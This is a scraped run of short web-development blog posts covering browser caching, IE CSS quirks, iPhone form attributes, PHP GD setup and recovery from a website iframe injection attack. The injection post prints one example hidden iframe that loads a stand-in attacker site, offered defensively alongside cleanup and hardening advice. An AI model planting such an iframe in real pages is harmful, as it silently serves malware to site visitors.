To solve the issue, I added a parameter to the request URL that is unique for each request by using Javascript getTime function. Javascript getTime function returns the number of milliseconds since January 1, 1970. This prevents IE from returning the same/cached response because the request URL is always unique.

Javascript

jQuery.fn.likeIt = function() {
    var r = new Date().getTime(); // unique random number to workaround IE cache issue
    $("a", this).click(function() {
        // Note: my href already has a parameter which is why I have & instead of ? before the r parameter
	$.get($(this).attr("href") + "&r=" + r, function(data) {
             // do your processing here
	}); // $.get
    return false;
    });
};

Read Troubleshooting jQuery.get() Cache issue in Internet Explorer on Web Development Blog!

<input type="text" id="keyword" name="keyword"
autocorrect="off" />

You can also turn off auto capitalising/capitalizing feature by adding autocapitalize="off" attribute.

<input type="text" id="keyword" name="keyword"
autocorrect="off" autocapitalize="off" />

And lastly, you can turn off auto complete in a similar way.

<input type="text" id="keyword" name="keyword"
autocorrect="off" autocapitalize="off" autocomplete="off" />

More HTML tips for iPhone web apps can be found in Building iPhone Apps with HTML, CSS, and JavaScript book published by O’Reilly Media, Inc.

Read How to disable text auto correction in iPhone web app on Web Development Blog!

Add the following line of code into the .htaccess file inside the root directory of your website.

ErrorDocument 404 /

Read Redirect to homepage when page not found on Web Development Blog!

<!--[if IE 6]>
<link rel="stylesheet" type="text/css" href="ie6.css" />
<![endif]-->

Setting an opacity

.transparency {
   filter: alpha(opacity=50);
}

Change the link to a hand cursor

a.link {
   cursor: pointer;
}

Get rid of double margin bug by adding display:inline to a block level element

#sidebar {
   float: left;
   margin-left: 20px;
   width: 300px;
   display: inline;
}

Ensure proper positioning of list items

ul li {
   display: inline-block;
}

Hide extra spaces and padding

#header {
   height: 10px;
   overflow: hidden;
}

Bring a layer on top of other layers

#close {
   position: absolute;
   z-index: 50;
}

Resolve float issue in IE6 by triggering hasLayout property

#content {
   zoom: 1;
}

PNG transparency in IE6 (uses IEPNGFix code)

#background {
   behavior: url(iepngfix.htc);
}

Read Some simple but effective CSS rules for IE 6 on Web Development Blog!

The upper half of the <fieldset> border goes missing. This problem has been discussed here and shown here.

HTML:

<form action="login.php" method="post" id="login">
  <fieldset>
    <legend>Login</legend>
    <label for="username" class="label">Username</label>
    <input type="text" name="username" id="username"/>
    <label for="password" class="label">Password</label>
    <input type="password" name="password" id="password" />
    <input type="submit" name="submit" value="Login" />
  </fieldset>
</form>

CSS:

fieldset {
	border: 1px solid #333;
}

legend {
	display: none;
}

The workaround:

It looks like the problem occurs only when you set the <legend> to display: none in CSS. To solve this, we will need to add a span element inside the legend and set it to display: none and remove display: none from legend.

Updated HTML:

    <legend><span>Login<span></legend>

Updated CSS:

legend {
}

legend span {
	display: none;
}

Read Fieldset and Legend bug in IE8 on Web Development Blog!

<iframe src="http://www.example-hacker-site.com/inject/?s=some-parameters" width="1" height="1" style="visibility: hidden"></iframe>
An example of a malicious IFRAME injection code

1. Take your website down for a certain period
It is recommended to take the website down as you do not want to be distributing malware or virus from your website to your visitors. The website should be offline while you are recovering the site.

2. Change all the passwords
Although this may seem like a simple step, many people, including myself, often fail to change all the passwords immediately after an attack has been discovered. You need to change all the passwords associated with the website; which include ftp passwords, ssh passwords, account passwords, database passwords, admin passwords and so on.

3. Take a copy of the affected website for further analysis
You may want to do a further analysis on the attack and might need to refer to the exact injection source code in the future. Take a copy of the affected website in a compressed format, eg: zip or gzip and store it in an quarantine area for later reference. Note that it is not advisable to keep the affected files on the server.

4. Replace the entire site with a clean backup copy
Do not rely on your hosting provider for a backup copy of your site. Many hosting providers say they do an automatic backup every night, however, it is more reliable if you have other backup solutions for your website. Scan your backup copy with Anti-Virus software like ZoneAlarm or Trend Micro (use cupon code trendpro to get 10% Off Trend Micro Internet Security Pro 2010) before uploading to the web server to ensure that the backup copy is free from viruses and Trojan horses.

5. Test the website and reopen
This is to make sure that the website is reverted to its clean, original version. Once you are happy with the result, you can reopen the website to the public.

6. Analyse how the attack was originated
In order to ensure that the same attack does not happen again, you will need to do a full analysis of the attack and how it was originated. Was it because of a security hole in your application? Was it caused by a weak file permission? Or is your server affected with some virus that injects these code into your website at regular interval? You will need to understand how it happens in order to prevent it in the future. And when necessary, obtain an expert advice.

7. Perform appropriate security measures based on the analysis
Although you may have recovered your website, it does not mean your website will not be attacked again. If the same security hole still exists, it is probably very likely that the website will be attacked again in the near future. Therefore, it is recommended that you perform necessary security measures, be it hardening your web server, upgrading an application, or introducing new security restrictions.

My experience and advice

I have encountered and recovered quite a few websites that had been attacked by malicious iframe exploit in the recent years. And the common causes seem to be as follows:

• The website is hosted on a cheap web hosting service
• The website is using an old version of an open source application (eg: WordPress 1.0) which has known security issues
• File permissions on the server are not set accordingly (eg: every file and folder on the server is set to 777 – read-write-execute)
• Weakness in an application code. For example, there is not sufficient input validation.
• FTP rather than SFTP is used
• There is no IP restriction for SSH and FTP accounts

There are a few simple things that can be done to reduce the risk of your website being attacked.

• Change your passwords periodically (say, at least once a month)
• Keep your applications up-to-date. Always upgrade immediately when a new version is available.
• Clean up files and directories on the web server. Make sure there is no old file with .bak or .txt extensions lying around
• Ensure that appropriate file permissions are used for every file and directory on the web server
• Consult with a security expert to obtain the best advice

Read Troubleshooting an IFrame Injection Attack on Web Development Blog!

If you’re finding that your Firefox browser is not caching any images (css/javascripts) and loading them multiple times on the same page, check the following cache settings of Firefox by typing in about:config in the browser’s address bar.

Both browser.cache.disk.enable and browser.cache.memory.enable values should be set to true in order to enable browser caching in Firefox. You can double-click on the name to toggle the value between true and false.

Read Firefox browser cache setting on Web Development Blog!

Screenshot below:

Technorati Tags: drupal, fckeditor, css

Read Removing background image from FCKEditor in Drupal on Web Development Blog!

Dealing with MySQL Too Many Connections error

The MySQL Server :: Status Variables

Tuning System Variables (MySQL)

Administrating a MySQL server

Technorati Tags: web, links, www, websites, mysql, database, fine tuning, server performance

Read Links Love Series 2: MySQL server fine tuning and administrating on Web Development Blog!

;extension=php_gd2.dll

2. Make sure you have php_gd2.dll file in the extensions directory. The extension directory of my PHP installation is C:\PHP\ext. Look for the directive “extension_dir” in php.ini file to get the exact location of your extensions directory.

3. Run php.exe from your PHP installation directory.

3.1. If you don’t have the dll file, you will have a similiar error message as below:

Unknown(): Unable to load dynamic library 'C:\PHP\ext\php_gd2.dll' - The specified module could not be found.

Download the appropriate Windows Binaries from the Official PHP Website Downloads page and copy the required extension into your php extension directory.

4. Restart Apache server.

Technorati Tags: troubleshooting, gd library, php, configuration, apache

Read Enabling gd image library in PHP (Windows) on Web Development Blog!